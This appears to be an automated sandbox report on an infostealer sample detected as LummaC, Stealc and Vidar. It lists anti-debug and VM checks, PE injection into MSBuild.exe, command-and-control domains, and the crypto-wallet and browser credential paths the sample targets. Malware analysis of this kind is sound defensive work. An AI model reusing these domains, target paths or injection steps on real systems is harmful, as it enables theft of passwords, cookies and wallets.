Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: AKECBFBA.2.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: AKECBFBA.2.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: AKECBFBA.2.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: AKECBFBA.2.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: MSBuild.exe, 0000000A.00000002.2510447311.000000000109C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: AKECBFBA.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: AKECBFBA.2.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: AKECBFBA.2.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: MSBuild.exe, 0000000A.00000002.2510447311.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: AKECBFBA.2.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: AKECBFBA.2.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: AKECBFBA.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: AKECBFBA.2.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: AKECBFBA.2.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: AKECBFBA.2.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: AKECBFBA.2.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: AKECBFBA.2.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: AKECBFBA.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: AKECBFBA.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: AKECBFBA.2.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-70476
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-70479
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-70494
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-71654
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-70319
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-70490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-70519
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_004400D0 LdrInitializeThunk,

10_2_004400D0

Source: C:\Users\user\Desktop\NdSXVNeoET.exe

Code function: 0_2_008A7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_008A7922

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

2_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

2_2_00419860

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008A2003 mov edi, dword ptr fs:[00000030h]	0_2_008A2003
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008E6628 mov eax, dword ptr fs:[00000030h]	0_2_008E6628
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008BA64C mov eax, dword ptr fs:[00000030h]	0_2_008BA64C
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008B0F2E mov ecx, dword ptr fs:[00000030h]	0_2_008B0F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00419750 mov eax, dword ptr fs:[00000030h]	2_2_00419750
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001B2003 mov edi, dword ptr fs:[00000030h]	9_2_001B2003
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001CA64C mov eax, dword ptr fs:[00000030h]	9_2_001CA64C
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001C0F2E mov ecx, dword ptr fs:[00000030h]	9_2_001C0F2E

Source: C:\Users\user\Desktop\NdSXVNeoET.exe

Code function: 0_2_008BCC4B GetProcessHeap,

0_2_008BCC4B

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008A7610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_008A7610
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008A7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_008A7922
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008A7AAF SetUnhandledExceptionFilter,	0_2_008A7AAF
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008ADA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_008ADA73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041CEEA SetUnhandledExceptionFilter,	2_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041B33A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB0B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6CB0B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB0B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6CB0B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CCBAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6CCBAC62
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001B7610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_001B7610
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001B7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_001B7922
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001BDA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_001BDA73
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001B7AAF SetUnhandledExceptionFilter,	9_2_001B7AAF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: NdSXVNeoET.exe PID: 5796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6236, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior

LummaC encrypted strings found

Source: userIDHDGDHJEG.exe	String found in binary or memory: isoplethui.sbs
Source: userIDHDGDHJEG.exe	String found in binary or memory: frizzettei.sbs
Source: userIDHDGDHJEG.exe	String found in binary or memory: exemplarou.sbs
Source: userIDHDGDHJEG.exe	String found in binary or memory: wickedneatr.sbs
Source: userIDHDGDHJEG.exe	String found in binary or memory: invinjurhey.sbs
Source: userIDHDGDHJEG.exe	String found in binary or memory: laddyirekyi.sbs
Source: userIDHDGDHJEG.exe	String found in binary or memory: exilepolsiy.sbs
Source: userIDHDGDHJEG.exe	String found in binary or memory: bemuzzeki.sbs

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_00419600

Writes to foreign memory regions

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 10EC008	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44B000	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: C1C008	Jump to behavior

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIDHDGDHJEG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIDHDGDHJEG.exe "C:\Users\userIDHDGDHJEG.exe"	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_6CB0B341 cpuid

2_2_6CB0B341

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_008BC085
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: GetLocaleInfoW,	0_2_008B622B
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: EnumSystemLocalesW,	0_2_008BC327
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: EnumSystemLocalesW,	0_2_008BC372
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_008BC498
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: EnumSystemLocalesW,	0_2_008BC40D
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: GetLocaleInfoW,	0_2_008BC6EB
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_008BC814
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_008BC9E9
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: GetLocaleInfoW,	0_2_008BC91A
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: EnumSystemLocalesW,	0_2_008B5D7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	2_2_00417B90
Source: C:\Users\userIDHDGDHJEG.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	9_2_001CC085
Source: C:\Users\userIDHDGDHJEG.exe	Code function: GetLocaleInfoW,	9_2_001C622B
Source: C:\Users\userIDHDGDHJEG.exe	Code function: EnumSystemLocalesW,	9_2_001CC327
Source: C:\Users\userIDHDGDHJEG.exe	Code function: EnumSystemLocalesW,	9_2_001CC372
Source: C:\Users\userIDHDGDHJEG.exe	Code function: EnumSystemLocalesW,	9_2_001CC40D
Source: C:\Users\userIDHDGDHJEG.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	9_2_001CC498
Source: C:\Users\userIDHDGDHJEG.exe	Code function: GetLocaleInfoW,	9_2_001CC6EB
Source: C:\Users\userIDHDGDHJEG.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_001CC814
Source: C:\Users\userIDHDGDHJEG.exe	Code function: GetLocaleInfoW,	9_2_001CC91A
Source: C:\Users\userIDHDGDHJEG.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_001CC9E9
Source: C:\Users\userIDHDGDHJEG.exe	Code function: EnumSystemLocalesW,	9_2_001C5D7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\NdSXVNeoET.exe

Code function: 0_2_008A7815 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_008A7815

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_00417A30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.userIDHDGDHJEG.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2510268236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.NdSXVNeoET.exe.8cdad8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NdSXVNeoET.exe.8cdad8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NdSXVNeoET.exe.8a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2758549096.0000000001387000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6236, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6236, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: \jaxx\Local Storage\
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: passphrase.json
Source: MSBuild.exe	String found in binary or memory: \jaxx\Local Storage\
Source: MSBuild.exe	String found in binary or memory: \Ethereum\
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: Ethereum
Source: MSBuild.exe	String found in binary or memory: file__0.localstorage
Source: MSBuild.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: MSBuild.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: MSBuild.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
